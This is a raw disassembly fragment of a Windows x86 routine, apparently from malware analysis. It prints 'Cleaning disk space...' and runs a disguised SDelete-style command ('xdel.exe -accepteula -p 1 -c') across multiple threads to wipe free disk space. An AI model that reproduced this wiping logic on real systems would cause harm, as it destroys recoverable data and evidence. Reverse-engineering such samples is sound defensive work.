mov byte [0x5ef785], 1
call fcn.00464de0
push str.___Commands...
call fcn.004612c0
add esp, 4
push 0x5f00a0
call fcn.00465230
push 0
push 0
push 0
push 0x46ce30
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x464124
push 0xffffffffffffffff
push eax
call esi
cmp byte [0x5ef9c4], 0
je 0x464139
push dword [ebp - 0x100]
call dword [sym.imp.KERNEL32.dll_Wow64RevertWow64FsRedirection]
push str.___Cleaning_disk_space...
call fcn.004612c0
add esp, 4
call fcn.004732e0
call fcn.00473610
call fcn.0045da40
push 0x5d6db8
lea ecx, [ebp - 0xf8]
call fcn.00449510
push 0x5ef9c8
lea ecx, [ebp - 0xf8]
mov byte [ebp - 4], 0x47
call fcn.00450d70
push str.xdel.exe___accepteula__p_1__c
lea ecx, [ebp - 0xf8]
call fcn.00450d70
push ecx
lea ecx, [ebp - 0x5c]
call fcn.00458440
call fcn.00459540
push 1
xor dl, dl
mov byte [ebp - 4], 0x48
lea ecx, [ebp - 0x5c]
call fcn.004586a0
add esp, 4
cmp byte [0x5ef780], 0
jne 0x46420d
mov edi, dword [ebp - 0x5c]
mov esi, dword [edi]
cmp esi, edi
je 0x46430e
lea eax, [ebp - 0xf8]
push eax
lea ecx, [ebp - 0x50]
call fcn.0044c0c0
mov byte [ebp - 4], 0x49
lea ecx, [ebp - 0x50]
push dword [esi + 8]
call fcn.00450da0
push 0xffffffffffffffff
push 1
lea ecx, [ebp - 0x50]
call fcn.00449460
xor edx, edx
mov ecx, eax
call fcn.0046c380
add esp, 8
mov byte [ebp - 4], 0x48
lea ecx, [ebp - 0x50]
call fcn.00449470
mov esi, dword [esi]
cmp esi, edi
jne 0x4641c0
jmp 0x46430e
push ecx
lea ecx, [ebp - 0x28]
call fcn.004645c0
xor eax, eax
xor edi, edi
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov byte [ebp - 4], 0x4a
mov ecx, dword [ebp - 0x5c]
mov esi, dword [ecx]
cmp esi, ecx
je 0x4642c9
nop dword [eax]
nop dword [eax + eax]
lea eax, [ebp - 0xf8]
push eax
lea ecx, [ebp - 0xb4]
call fcn.0044c0c0
mov byte [ebp - 4], 0x4b
lea ecx, [ebp - 0xb4]
push dword [esi + 8]
call fcn.00450da0
push 0x2710
push 0
lea ecx, [ebp - 0xb4]
call fcn.00449460
xor edx, edx
mov ecx, eax
call fcn.0046c380
add esp, 8
test eax, eax
je 0x4642ac
push eax
push 0
push 0x100000
call ebx
mov dword [ebp - 0xfc], eax
test eax, eax
je 0x4642ac
lea eax, [ebp - 0xfc]
push eax
lea ecx, [ebp - 0x28]
call fcn.00465200
mov edi, dword [ebp - 0x28]
lea ecx, [ebp - 0xb4]
mov byte [ebp - 4], 0x4a
call fcn.00449470
mov esi, dword [esi]
cmp esi, dword [ebp - 0x5c]
jne 0x464240
mov eax, dword [ebp - 0x24]
mov esi, eax
push 0xffffffffffffffff
sub esi, edi
push 1
mov eax, esi
sar eax, 2
push edi
push eax
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
add esi, 3
xor eax, eax
shr esi, 2
xor ebx, ebx
cmp edi, dword [ebp - 0x24]
cmova esi, eax
test esi, esi
je 0x464302
push dword [edi]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc ebx
lea edi, [edi + 4]
cmp ebx, esi
jne 0x4642f2
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0x48
call fcn.00456a50
call fcn.00465100
lea ecx, [ebp - 0x5c]
call fcn.004594f0
lea ecx, [ebp - 0xf8]
call fcn.00449470
jmp 0x463f67
call fcn.00548571
call fcn.00548571
call fcn.00548571
call fcn.00548571
call fcn.00548571
call fcn.00548571
call fcn.00548571
int3